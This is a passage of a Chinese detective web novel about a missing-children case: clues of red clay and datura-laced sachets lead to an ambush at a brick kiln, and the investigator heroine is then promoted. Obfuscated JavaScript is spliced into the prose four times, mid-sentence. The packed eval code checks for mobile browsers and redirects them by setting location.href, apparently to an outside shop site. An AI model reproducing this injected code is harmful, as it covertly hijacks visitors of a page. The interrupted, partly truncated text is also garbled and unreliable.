寇晟收起本子,走进窄巷。他没有立刻查看地面痕迹,而是先观察墙壁——从巷口到深处,一寸寸看过去。 “墙砖有新有旧。”他停在巷子中段,指尖轻触一块颜色略浅的砖,“这块是后补的,时间不超过三个月。” 穆青青细看,果然,那块砖与周围砖块的磨损程度不同,缝隙里的灰浆颜色也更鲜亮。 “为什么会补砖?” “要么是破损,要么……”寇晟退后半步,目光顺着砖块向上,“是被人撬开过,又重新砌回去。” 他忽然蹲下身,从随身皮袋里取出一个小巧的铜制物件——像个单筒的望远镜,但一头有面小镜。 “窥镜,六扇门特制。”寇晟将小镜那端贴近墙砖缝隙,眼睛凑近另一端,“可以看到砖后情况。” 他移动窥镜,沿着砖缝缓缓探查。片刻后,他眉头微皱:“砖后有空洞,不大,但足够塞进一卷纸或小物件。” 果然有暗格! “但东西已经被取走了。”寇晟收起窥镜,“砖缝边缘有新鲜划痕,是最近两日内打开的痕迹。” 穆青青心中一凛——如果暗格里的东西与老糖头绑架案有关,那么取走它的人,很可能就是绑匪同伙,甚至可能就是“三爷”派来的人。 寇晟站起身,继续往巷子深处走。他在豆子描述的位置停下——草席堆、破缸、以及那堵矮墙。 他没有先查看地面,而是仰头看向上方。 “瓦片。”他轻声道,“这里的瓦片排列与别处不同。” 穆青青跟着抬头。确实,矮墙上方的屋顶,有几片瓦颜色略深,像是被雨水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011109|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸泡更久。但仔细看,那几片瓦的边缘缝隙里,没有青苔——而周围瓦片缝隙里,都长着薄薄的、深绿色的苔藓。 “瓦被动过。”寇晟判断,“时间不长,所以还没来得及长出新苔。” 他后退几步,左右观察,忽然指向巷子对面一户人家的屋檐:“那家屋檐下挂着风铃。” 穆青青看去——那是一串铜制风铃,样式普通,此刻静静垂着,没有声响。 “昨日有风吗?”寇晟问。 穆青青回忆:“午后起风,到傍晚才停。” “风铃无风不响。”寇晟目光锐利,“但如果昨夜丑时前后有人上屋顶,踩动瓦片,震动传导到檐角,风铃可能会发出轻微声响。那户人家若被惊醒,或许会开窗查看。” 这是个新思路! “大人想去找那户人家询问?” “不急。”寇晟摇头,“先找更多证据。” 他走到矮墙下,这次仔细检查地面。他从皮袋里取出一把细毛刷,轻轻扫开浮土,露出底下较实的土层。 几个模糊的脚印渐渐清晰。 “不是成年男子的脚印。”寇晟蹲下身,用手指丈量尺寸,“长约五寸,前掌宽,后跟浅——是孩子的脚印,而且是赤脚。” 赤脚的孩子?豆子? 不对,豆子说他是穿着草鞋的。 寇晟用炭笔在纸上拓印脚印形状,同时分析:“脚印很浅,说明孩子体重轻。但脚印方向杂乱,有踮脚的痕迹,像是在……张望什么?” 他顺着脚印方向往墙根看,忽然停在一处:“这里。” 墙根下,有一小片泥土颜色略深。寇晟用短刀小心挖开,深约两寸处,露出一个巴掌大的油纸包。 纸包没有完全埋实,像是匆忙塞进去的。 打开油纸包,里面是三样东西:一块已经干硬的糖渣,一片靛蓝色碎布,还有一小撮暗红色泥土。 糖渣、碎布、红泥——分别对应老糖头、他的衣服、以及那神秘的红色泥土。 “这是有人故意埋下的。”寇晟将三样东西摆在掌心,“糖渣和碎布,可能是从老糖头身上取下的样品。红泥……是标记?” 穆青青盯着那撮红泥,忽然想起什么:“大人,可否借窥镜一用?” 寇晟递过窥镜。穆青青蹲下身,将小镜端对准红泥,仔细观看。 透过放大数倍的镜片,红泥的细节清晰可见——泥土里混着极细的白色颗粒,还有几丝深褐色的纤维。 “这不是普通的红土。”她轻声道,“里面有石灰粉,还有……麻絮?” 寇晟接过窥镜细看,片刻后点头:“确实是石灰和麻絮。这种配比,通常是用来砌砖抹墙的泥浆。” 砌砖抹墙……红泥……废弃砖窑! “砖窑!”两人同时脱口而出。 12. 幼童失踪案(5) 寇晟快速收起三样物证:“如果红泥来自砖窑,那么孩子很可能被关在那里。砖窑有现成的砖坯房、窑洞,足够隐蔽,且远离人烟。” 这个推测合情合理。 但穆青青看了眼天色——辰时已过半,她与柳茵约定的时间快到了。 “大人,”她有些为难,“我与柳姑娘约了辰时三刻在西市口碰面……” 寇晟也看了眼天色:“你去赴约,但记住——观察,莫要打草惊蛇。我继续在此勘查,一个时辰后,我们在东街茶楼碰面。” 他从怀中取出那枚竹哨:“带着这个。” 穆青青接过竹哨,犹豫道:“大人独自在此,会不会有危险?” “放心。”寇晟唇角微扬,“六扇门的人,没那么容易出事。” 他顿了顿,又道:“穆姑娘,今日与柳茵相处,留心两件事:第一,她是否会主动提及失踪案,或者打听县衙查案的进展;第二,注意她的衣袖、裙摆、鞋面——是否沾有红泥,或者其他异常的污渍。” 穆青青郑重点头:“我明白了。” 西市口,柳茵已等在树下。 她今日穿了身鹅黄襦裙,外罩淡绿比甲,发间簪了朵新鲜的栀子花,手里提着个精巧的竹篮。看见穆青青走来,她温婉一笑:“青青妹妹来了。” “让姐姐久等,真是抱歉。”穆青青快步上前,目光不着痕迹地扫过柳茵全身。 鹅黄襦裙的下摆很干净,没有红泥痕迹。绣鞋是浅藕色的,鞋面绣着缠枝莲纹,也没有污渍。竹篮里装着几个油纸包,散发着淡淡的草药香气。 “我也刚到。”柳茵挽住她的手,关切地问,“妹妹脸色有些苍白,可是昨夜没睡好?” “许是换了地方,睡得不太踏实。”穆青青顺势应道。 “县衙到底不如家里自在。”柳茵体贴地说,“等会儿逛完庙会,去我家坐坐,我爹爹新配了安神的茶方,你带些回去试试。” 两人随着人流走进庙会。今日果然热闹,杂耍班子敲锣打鼓,卖小吃的香气扑鼻,各色摊贩吆喝声此起彼伏。 柳茵对庙会很熟,她给穆青青买了串糖葫芦,自己则要了包糖炒栗子。两人边吃边逛,柳茵不时指着某个摊子说些趣事,气氛轻松得像寻常的闺中姐妹出游。 但穆青青没有放松警惕。她注意到,柳茵虽然言笑晏晏,目光却时不时扫视四周,像是在留意什么。 “妹妹看,那边有卖面具的。”柳茵指着前方一个摊子,“我们去瞧瞧?” 面具摊前挂满了各色脸谱。柳茵拿起一个白狐面具罩在脸上,转头笑问:“像不像话本里的狐仙?” 面具后的眼睛弯成月牙。穆青青也拿起一个青面獠牙的鬼怪面具,两人相视而笑。 就在这时,穆青青脑海中光幕突然跳动: 【西市庙会(当前在线:4)】 麻雀老大:【啾!你看那个长得像白狐的两脚兽,塞了个东西在竹筐缝里!是不是好吃的?】 穆青青心头一紧。 野猫阿花:【喵~哪里的竹筐?我可以去看看是不是好吃的!】 灰老鼠:【吱吱!笨喵,鼠鼠我呀早就看到了,我还看见她拿走了一个纸包呢!】 掉包! 穆青青立刻明白了——柳茵特意带自己来这个面具摊子,其实是在利用自己打掩护进行秘密交接。面具摊的竹筐是个中转点,她把新的纸包放进去,取走对方留下的信息。 这手法太隐蔽了。若不是小动物们从高处俯视或是地面仰视,根本发现不了。 “妹妹?”柳茵摘下面具,关切地看着她,“怎么又走神了?” 穆青青强自镇定,将鬼怪面具戴在脸上,声音透过面具显得有些闷:“没事,就是觉得这面具好玩。” 她需要拿到那个纸包。 但柳茵就在身边,怎么才能不引起怀疑地接近竹筐? 正想着,机会来了。 “哎呀!”旁边一个七八岁的小男孩突然撞到面具摊上,摊子晃了晃,几个面具掉了下来。 摊主是个中年妇人,忙去捡拾:“小祖宗,看着点路!” 趁这混乱的当口,穆青青“不小心”碰倒了旁边的竹筐——“哗啦”一声,筐里的杂物散了一地。 “对不起对不起!”她连忙蹲下身帮忙收拾,手指快速在杂物中摸索。 指尖触到一个油纸包。 她迅速将纸包拢入袖中,同时把另一个空纸团塞回原处——那是她刚才吃糖葫芦时悄悄留下的油纸。 “妹妹没事吧?”柳茵也蹲下来帮忙。 “没事没事,是我不小心。”穆青青将竹筐扶正,站起身时,袖中的纸包已稳稳藏好。 柳茵的目光扫过竹筐,见杂物都已归位,便没再留意。她付了面具的钱,将白狐面具放入竹篮:“这个留着,等上元节时戴。” 两人继续往前走。穆青青手心微微出汗——纸包就在袖中,她需要尽快查看内容。 “姐姐,”她忽然捂着肚子,面露难色,“我、我好像吃坏肚子了……” 柳茵忙问:“要紧吗?要不要去看大夫?” “不用,就是……想解手。”穆青青红着脸,“姐姐知道这附近哪里有……” “前面绸缎庄后院有茅房,我与老板娘相熟,我带你去。”柳茵体贴地挽着她。 到了绸缎庄,柳茵与老板娘打了招呼,老板娘便让伙计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011110|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带穆青青去后院。 茅房在后院角落,还算干净。穆青青关上门,立刻取出袖中纸包,小心打开。 里面是一张折叠的纸条,和一小撮暗红色粉末。 纸条上只有一行字,字迹工整:“戌时三刻,老地方,验新货。” 没有落款。 但那红粉末——和寇晟在窄巷发现的一模一样。 穆青青心跳加速。戌时三刻,就是今晚七点三刻。“老地方”是哪里?“新货”又是什么?是孩子?还是……别的? 她迅速记下内容,将纸条重新包好,藏入贴身衣袋。那撮红粉末则用另一张纸单独包好——这是重要物证。 整理好衣衫,她走出茅房。柳茵正在前堂与老板娘说话,见她出来,关切地问:“好些了吗?” “好多了。”穆青青勉强笑笑,“许是早上吃急了。” “那就好。”柳茵挽住她,“我们也逛了快一个时辰了,妹妹累不累?要不要去茶楼歇歇脚?” 穆青青看了眼天色——快到与寇晟约定的时间了。 “姐姐,”她轻声道,“我有些头疼,想先回县衙休息。今日真是扫了姐姐的兴……” 柳茵眼中闪过一丝不易察觉的失望,但很快被关切取代:“头疼可不是小事,我送你回去。” “不用不用,姐姐继续逛吧,我自己能回去。” “那怎么行?”柳茵坚持,“你脸色确实不好,我送你到县衙门口。” 两人往县衙方向走。路上,柳茵状似随意地问:“妹妹在县衙住得可习惯?崔夫人待你好吗?” “夫人待我极好。”穆青青答道。 “那就好。”柳茵顿了顿,“我听说……县衙来了位京城的大人,在查失踪案?” 来了。穆青青心中警铃微响,面上却平静:“是,好像是六扇门的官差。” “六扇门……”柳茵轻声重复,“那可是查大案的地方。看来,这次的失踪案不简单。” 她的语气里带着恰到好处的担忧,完全是一个普通百姓的反应。 穆青青顺势试探:“姐姐觉得,那些孩子还能找回来吗?” 柳茵沉默片刻,才低声道:“我爹爹说,孩童失踪,头三日最关键。过了三日……”她摇摇头,没再说下去。 这话说得实在,也符合一个医家女儿的认知。 两人走到县衙后巷口。柳茵停下脚步:“妹妹快回去歇着吧,若还不舒服,一定来医馆找我爹爹瞧瞧。” “谢谢姐姐。”穆青青福身行礼。 看着柳茵的身影消失在巷子转角,穆青青没有立刻回县衙,而是转身快步往东街茶楼走去。 她需要尽快见到寇晟。 13. 幼童失踪案(6) 纸条上的信息,还有那撮红粉末,都指向今晚有重要行动。 而“戌时三刻”,距离现在,只有不到六个时辰了。 东街茶楼二层雅间,寇晟已等在窗边。 穆青青推门而入时,他正在纸上写着什么。见她进来,他放下笔,指了指对面的位置:“坐。” “大人久等了。”穆青青坐下,从袖中取出那个纸包,推到寇晟面前,“这是柳茵在面具摊交接的东西。” 寇晟没有立刻打开,而是先问:“交接过程?” “她假装挑选面具,将纸包塞进摊子下面的竹筐缝里,同时取走了另一个。”穆青青描述,“手法很快,若不是……若不是我刚好蹲下身捡东西,根本发现不了。” 她将“小动物看到”改为“自己偶然发现”,这是最稳妥的说辞。 寇晟点头,这才小心打开纸包。看到纸条和红粉末时,他眼神骤然锐利。 “戌时三刻,老地方,验新货。”他轻声念出,指尖轻捻那撮红粉末,“和窄巷发现的一样,石灰混麻絮的砌墙泥浆。” 他看向穆青青:“柳茵放回纸包时,竹筐里原来那个,她取走了?” “是。”穆青青肯定道,“我看到了一个油纸包,她拿走时很自然,像取自己的东西。” “那是对方给她的指令。”寇晟分析,“她放回的是回复或确认。纸条上‘验新货’——‘新货’可能是新拐来的孩子,也可能是……别的东西。” 他顿了顿,声音压低:“五皇子失踪至今已半月,若真被带到丰城,也该是时候‘验货’了。” 这话让雅间里的空气都凝重了。 “大人,我们今晚要去‘老地方’吗?”穆青青问。 “去,但不能打草惊蛇。”寇晟收起纸条和红粉末,“我们需要知道‘老地方’是哪里。纸条上没写,说明柳茵和对方都心知肚明。” 他看向窗外熙攘的街市:“能被称为‘老地方’的,一定是他们常用、且足够隐蔽的接头点。可能是某家店铺的后院,可能是城外某个荒废的场所,也可能是……” “砖窑。”穆青青接口。 寇晟眼中闪过一丝赞许:“很有可能。但砖窑范围太大,我们需要更精确的位置。” 他沉吟片刻,忽然问:“穆姑娘,柳茵今日可曾去过药铺?或者买过糖?” 穆青青仔细回忆:“没有。我们逛了面具摊、绸缎庄,她还买了香囊,但没有进药铺,也没买糖。” “香囊?”寇晟敏锐地抓住细节,“什么样的香囊?” “绣着兰草的,说是驱蚊。” “香囊还在吗?” 穆青青从腰间解下那个香囊。寇晟接过,凑近细闻,又小心拆开系绳,将里面的香料倒在桌上。 干茉莉、艾草、薄荷……都是常见的驱蚊药材。 但寇晟没有罢休。他用指尖拨开香料,仔细翻找,终于在最底层捻出一小片深褐色的、干枯的叶状物。 “这是什么?”穆青青问。 寇晟将叶片对着光细看,又闻了闻,脸色沉了下来:“曼陀罗叶。” 曼陀罗! “虽然已经干枯,但形态和气味错不了。”寇晟将叶片小心收起,“把曼陀罗叶混在驱蚊香料里——这不是驱蚊,是让人昏睡。” 穆青青脊背发凉。柳茵送她驱蚊香囊,是真的关心,还是……别有用心? “她可能不知情。”寇晟看出她的不安,“香囊是现成的,她只是挑选购买。但卖香囊的人,或许有问题。” 他站起身:“走,去那家香料摊。” 两人回到庙会时,已是午后。集市依旧热闹,香料摊前围着几个挑选香囊的妇人。 摊主是个五十来岁的干瘦老头,正笑眯眯地推销:“姑娘看看这个,里头加了香灵草,安神助眠,夜里睡得香!” 寇晟没有立刻上前,而是站在不远处观察。穆青青则假装挑选,走到摊前。 “老伯,我想买个驱蚊的香囊。”她拿起一个绣着兰草的——正是柳茵送她的那种。 “姑娘好眼力!”摊主笑道,“这兰草香囊卖得最好,里头加了艾草、薄荷,驱蚊最有效!” 穆青青假意闻了闻,忽然皱眉:“咦?这味道……好像有点特别?” 她将香囊凑近鼻尖细嗅——除了艾草薄荷的清香,确实还有一丝极淡的、难以形容的苦甜气。 摊主脸色微不可察地僵了一下,随即笑道:“姑娘鼻子真灵,里头还加了点灵香草(就是薰衣草),助眠的!” “是吗?”穆青青盯着他的眼睛,“可我闻着……倒像是曼陀罗的味道。” “曼、曼陀罗?”摊主的声音开始发颤,“姑娘说笑了,那、那是药材,不能乱加的……” 就在这时,寇晟走了过来,亮出腰牌:“六扇门查案。这摊子上所有香囊,我们要检查。” 摊主脸色刷地白了,手一抖,手里的香囊掉在摊上。 摊前看香囊的妇人们见状迅速散开了。 寇晟没理会他的慌张,直接拿起那个兰草香囊,拆开系绳,将香料倒在掌心。他仔细翻检,很快从一堆艾草薄荷中捻出一小片深褐色干叶。 “这是什么?”他举到摊主面前。 “灵、灵香草……”摊主声音越来越小。 “灵香草?”寇晟冷笑,“曼陀罗叶和灵香草,我分不清吗?” 摊主双腿一软,差点跪倒。 寇晟示意远处两个便衣衙役靠近,这才压低声音:“现在说实话,还能从轻发落。若等我们查出来……” “我、我说!”摊主带着哭腔,“是、是一个脸上有疤痕的男人……他每个月给我一两银子,让我在一些香囊里加曼陀罗粉……说、说是给失眠的客人用……” “什么样的香囊?” “绣、绣着兰草或者梅花的……他说这两种花样常见,不容易被怀疑……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011111|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “加了多少?” “每、每个香囊加一点点……他说量少,只会让人昏睡,不会出人命……” 寇晟眼神冰冷:“那些香囊卖给谁了?” “不、不知道……疤痕脸每月初五、十五、二十五来取,把加了料的香囊拿走,再把新的空白香囊给我……”摊主哭道,“我、我真的不知道那些香囊是用来干什么的啊,大人!他说是药铺配给失眠病人的……” “今天是什么日子?”穆青青忽然问。 摊主一愣:“今、今天是二十四……” “明天就是二十五。”寇晟接口,“疤痕脸明天会来取货?” “是、是的……” “除了香囊,他还让你做过什么?” “没、没了……就这些……”摊主眼神闪烁。 寇晟盯着他,忽然伸手从摊子底下摸出那个深蓝色祥云香囊——刚才摊主下意识往那里瞥了一眼。 “这个呢?” 摊主脸色彻底惨白。 寇晟拆开香囊,倒出香料——合欢皮、酸枣仁、远志,确实是安神药材。但他没有罢休,用手指仔细拨弄,终于在香料底层发现一小片折叠的油纸。 展开油纸,里面是一撮暗红色粉末。 红泥! “这又是怎么回事?”寇晟声音沉了下去。 摊主瘫坐在地,彻底崩溃:“是、是柳小姐定的……她每个月都来定做一个祥云香囊,说是给父亲安神用……但、但她每次都要求我在香囊底层加一小包红泥粉……” “为什么?” “我、我不知道……她说是家传的偏方,红泥粉能宁心静气……我、我也不敢多问……” 寇晟与穆青青对视一眼。 柳茵每月定做带红泥粉的香囊——这显然是在传递某种信号或标记。红泥来自砖窑,那么香囊很可能是给砖窑里的人使用的身份凭证或指令载体。 “柳小姐什么时候来取?” “说、说好今日未时……”摊主看了眼天色,“快、快到了……” 寇晟快速思索,对两个便衣衙役道:“你们去巷子后面监视着他,别让柳茵看见。香囊放回原处,一切如常。” 他又对摊主道:“照常把香囊给她,多说一个字,你知道后果。” “是、是……” 衙役隐在隔壁巷子隐蔽处。寇晟和穆青青则退到对面茶楼二层,从窗口监视香料摊。 约莫一刻钟后,柳茵的身影出现在人群中。 她并未察觉到异状,步履轻盈地走到香料摊前,与摊主说了几句话,接过那个祥云香囊,付了钱,便转身离开——全程自然得像普通顾客。 等她走远,寇晟才示意衙役将摊主带回县衙。 县衙偏厅,烛火通明。 寇晟、崔县令、宋师爷、穆青青围桌而坐,桌上摊着所有物证:红泥粉末、带曼陀罗的香囊、纸条、以及从窄巷挖出的油纸包。 14. 幼童失踪案(7) 烛火将四人的影子投在墙上,随火光摇曳。 寇晟将物证一一排列:“红泥粉末、带曼陀罗的香囊、纸条、油纸包。这些物件,看似独立,实则环环相扣。” 崔县令拿起那张纸条,轻声道:“‘戌时三刻,老地方,验新货。’若‘新货’指孩童,那么今夜便是他们交易的时刻。” “不止交易。”寇晟用指尖点了点红泥粉末,“这红泥是标记,也是线索。柳茵每月定做带红泥粉的香囊——这香囊是凭证,持此香囊者,可进入他们的据点。” 穆青青脑中飞速运转:“大人是说,砖窑那里,需要凭香囊进入?” “极有可能。”寇晟看向她,“你与柳茵接触时,可见她佩戴香囊?” 穆青青仔细回忆:“今日她发间簪了栀子花,腰间......确实挂了个香囊,但我没看清样式。” “应是祥云纹样。”寇晟笃定道,“摊主交代,柳茵每月定做的都是祥云香囊。这香囊她自用,也可能会交给同伙使用。” 宋师爷捻着断指,沉吟道:“那么今夜戌时三刻,‘老地方’很可能就是城南废弃砖窑。他们要在那里‘验货’——要么是验新拐来的孩子,要么......” “验五皇子。”寇晟接话,声音低沉。 屋中一时寂静。 窗外夜色渐浓,戌时将至。 寇晟起身:“崔大人,我需要二十名可靠衙役,便衣埋伏在砖窑外围。另请赵捕头带人暗中监视柳家医馆,若柳茵出门,务必尾随,但切不可打草惊蛇。” “好。”崔县令应下,随即吩咐宋师爷去安排。 寇晟又看向穆青青:“穆姑娘,你与我同去砖窑附近。你的观察敏锐,或许能注意到我们忽略的细节。” 穆青青心喜于能力被寇晟这样的人认同,面上却平静:“民女遵命。” 戌时初,城南乱葬岗。 月色惨白,照在荒草丛生的坟堆上,夜枭啼叫,平添几分阴森。废弃砖窑就在乱葬岗东侧半里处,隐在一片枯树林后。 寇晟与穆青青伏在土坡后,二十名衙役已分散隐藏在四周。远处砖窑轮廓隐在黑暗中,只有几点微弱灯火,在破败的窑洞口明明灭灭。 【乱葬岗夜话(当前在线:4)】 夜枭:【咕咕——今晚两脚兽真多!吵得我都不能安心捉田鼠了!】 田鼠小弟:【吱!洞里还有很多两脚兽呢,有的还住在麻袋里!】 老刺猬:【哼......老夫搬家的路都被堵了。那些两脚兽身上有铁锈和......血的味道。不祥,不祥。】 穆青青将听到的内容低声转述给寇晟,特意说成“我隐约听到些动静,窑洞里果然有人”。 寇晟目光锐利:“有动静......估计验货的人也快到了。” 就在这时,远处小路上出现一点灯火。 一盏灯笼在黑暗中摇晃,提灯笼的人身姿窈窕——正是柳茵。她独自一人,步履匆匆,腰间香囊在灯笼光下隐约可见祥云纹样。 她走到砖窑入口处,并未直接进入,而是举起灯笼,左右各晃了三下。 窑洞内也亮起灯火回应,三长两短。 暗号对接后,柳茵才快步走入。 寇晟压低声音:“果然是凭香囊和暗号进入。不过只柳茵一人......我们再等等,可能还有人来。” 时间一点点流逝。戌时三刻将至。 窑洞内灯火忽然明亮了些,隐约传来人声。 穆青青屏息凝神,光幕又跳出新消息: 【乱葬岗夜话(当前在线:4)】 田鼠小弟:【吱吱!又有两脚兽来了!骑马!好大的阵仗!吓得我瓜子都掉了!】 夜枭:【咕!中间那个穿黑斗篷的,脸上有疤!看着好嚣张啊!】 老刺猬:【斗篷下......有金属反光。是刀!我先跑了。】 疤脸人!很可能是豆子口中那个“脸上有疤”的头目! 寇晟显然也听到了马蹄声,他手势示意衙役们噤声埋伏。 四匹马疾驰而至,在砖窑前勒停。为首之人翻身下马,黑色斗篷裹住全身,脸上果然有一道狰狞长疤,从左颊直到耳根。他身后七人皆劲装佩刀,动作利落,显然是练家子。 穆青青注意到,疤脸身侧紧跟着一个身形纤细、面色苍白的男子。那人披着深灰色斗篷,帽檐压得很低,但月光下仍能看到他面白无须,行走时脚步轻盈得近乎诡异——可能是豆子描述的“说话声音很尖,像女人”的那个同伙! 疤脸人同样在窑洞口举灯示意,暗号对接后,带两人进入,那白面男子紧随其后,余下四人守在洞口。 “大人,现在进去?”一名衙役低声问。 寇晟摇头:“再等等。等他们验货谈价,放松警惕时。” 窑洞内。 柳茵站在昏黄的灯光下,面前是三个被捆住手脚、塞住嘴的孩童——两男一女,正是近日失踪的孩子。孩子们一半身子还在麻袋里,都睁着惊恐的眼睛,呜呜挣扎。 疤脸人扫了一眼,声音嘶哑:“就这三个?” “时间紧迫,风声紧。”柳茵声音依旧温婉,却透着冷意,“‘三爷’说的那个‘特殊货’呢?不跟他们几个一起走?” “三爷等不及了。”疤脸人盯着她,“京城那边催得紧。那货早就送去北方了。” 柳茵蹙眉:“送去北方了?那货不是好不容易才从京城里运出来的吗?” 疤脸人冷哼一声:“不该问的别问。三爷说了,这批‘普通货’今夜就运走,老线路,水路出城。” “水路?”柳茵微怔,“最近河道巡查严密......” 那白面男子忽然开口,声音尖细得让人头皮发麻:“外头太静了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011112|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 疤脸皱眉:“这乱葬岗还能热闹到哪儿去?少疑神疑鬼!” 话音未落—— 窑洞外忽然传来一声尖锐的鸟鸣! 是寇晟发出的信号! “动手!” 二十名衙役从藏身处跃出,直扑窑洞!守在洞口的四名匪徒拔刀迎战,顿时金铁交鸣! 洞内疤脸人脸色大变:“有埋伏!走密道!” 他一把推开柳茵,转身就朝窑洞深处的密道冲去! 那白面男子动作更快,在疤脸转身的瞬间,右手已从袖中探出——三根细如牛毛的银针在指间寒光一闪! “小心暗器!”寇晟厉喝冲入。 白面男子手腕一抖,三枚银针疾射而出! 一枚射向寇晟,被长刀格开! 一枚射向柳茵,柳茵闷哼倒地,脸色瞬间青紫! 第三枚——竟直射疤脸后心! “你——!”疤脸察觉身后破空声,想要闪避已来不及,银针没入他后颈! 他踉跄转身,瞪大眼睛指着白面男子,喉咙里发出“嗬嗬”的声音:“你......三爷......灭口......” 话音未落,整个人直挺挺向前扑倒,气绝身亡! 白面男子看也不看疤脸尸体,身形如鬼魅般一闪,竟从众人头顶掠过,直扑密道入口! “拦住他!”寇晟挥刀疾追。 但那白面男子轻功高得惊人,几个起落便消失在密道深处,只留下一串诡异的轻笑。 柳茵倒在原地,脸色惨白如纸,她看着眼前瞬息万变的惨剧,浑身颤抖。 穆青青此时也冲了进来,她第一眼看向柳茵。 柳茵腰间的祥云香囊也随它主人一起静静地躺在地上。 柳茵看着穆青青,眼神复杂至极,有惊恐,有释然,还有一丝......悲哀? “柳姐姐......”穆青青轻声开口。 柳茵却忽然笑了,笑容凄凉:“青青妹妹,你......果然不简单。” 她伸手,从怀中取出一物,轻轻放在地上——是一块玉佩,龙纹,皇家制式。 “你们是不是在找一个孩子?......他三日前的夜里就被转移了。”柳茵声音很低,只够穆青青听见,“不在丰城,往北去了......三爷的身份,我只知道......他来自京城,与......”她没说完,忽然身子一晃,嘴角溢出一缕黑血。 “你中毒了?!”穆青青冲上前扶住她。 柳茵软倒在地,气息微弱:“我爹......被他们下毒控制......我不得已......孩子......对不起......”她目光移向那三个惊恐的孩子,眼泪滑落,“香囊......底层夹层......有名单......” 话音未落,气息已绝。 穆青青怔在原地。 15. 女捕头 寇晟从密道返回,面色铁青:“让他跑了!密道通往河边,有快船接应。”他蹲下身,捡起那块龙纹玉佩,又迅速从柳茵腰间解下香囊,小心拆开——夹层中果然有一张薄绢,上面写着七八个名字。 “这是他们的同党名单。”寇晟将薄绢收起,看向地上疤脸的尸体,“此人被灭口,说明逃走的那人才是三爷真正的心腹。” 三个孩子被安全救出。经辨认,其中就有虎子——王铁匠的儿子。另外两个孩子也是丰城县的,比虎子早失踪几天。只是老糖头不见了踪影,恐怕凶多吉少。 三日后,六扇门援军抵达丰城。 寇晟将案情详细禀报,并将此前抓获的胡老大、曹三等一干船上匪徒,连同砖窑案擒获的几名活口,一并移交六扇门押解回京。这些人都将押往刑部大牢,由专人审讯深挖。 审讯中被擒匪徒战战兢兢的交代: “‘白面郎’我们都不知道真名,他是三爷身边最亲近的人。”一名匪徒声音发颤,“他说话声音尖细,面白无须,举止......举止有些像宫里的内侍。轻功极高,擅用毒针,杀人从不手软。” “三爷居然不是翻江蛟?那他究竟是谁?” 匪徒摇头:“不知道......真不知道!三爷从未露过真容,每次都是‘白面郎’传话。我们只知道他来自京城,手眼通天......” 当寇晟带人围剿漕帮时,“翻江蛟”已在书房服毒自尽,所有文书尽数焚毁。唯一可能知道三爷真实身份的人,就这样断了线索。 “五皇子被转移北上,‘白面郎’逃脱,三爷身份成谜。”寇晟站在河边,面色沉肃,“但这份名单和这块玉佩,我会带回京城详查。” 他转头看向穆青青:“穆姑娘,此次多亏你机警。柳茵虽助纣为虐,但临死悔悟,交出名单,也算赎罪。” 穆青青轻声道:“那‘白面郎’......” “此人必须缉拿。”寇晟眼中寒光一闪,“他用毒针灭口同伙,心狠手辣,轻功又如此高明,我已传讯各州府通缉。只是......”他顿了顿,“此人若真与宫中有牵连,此案恐怕比我们想的更深。” 三日后,寇晟启程返京。 晨光中,他将一枚铜制客卿令交到穆青青手中:“此令可通传各州府衙门。若有难处,或发现线索,随时可书信于我。” 穆青青郑重接过:“谢大人。” 马蹄声远去,丰城似乎重归平静。 但穆青青知道,暗流从未停息——“白面郎”逃往何处?三爷究竟是谁?五皇子下落何方?这些谜团,都沉在漕河深水之下,等待浮现的那一天。 寇晟离开后的丰城县衙,像一池被巨石惊扰后又缓缓平复的湖水。表面波澜不兴,日升月落,点卯应差,一切如常。但知情者心底都清楚,水下仍有未散的涡流——“白面郎”去向、“三爷”身份、五皇子踪影,皆是悬而未决的阴翳。只是日子总要向前,衙门的日常琐碎,很快填满了案后那点空落与余悸。 穆青青正式领捕头衔的文书下来后第三天,崔县令说要在日常办公的二堂(大堂就是审案的公堂,三堂就是内堂后院)跟底下几位佐官碰个头,算是让穆青青这个新人跟大家见见面。 消息刚传出去不久,三位前些日子“恰巧”都没能在幼童案里露脸的官员,就“不约而同”地提前到了。 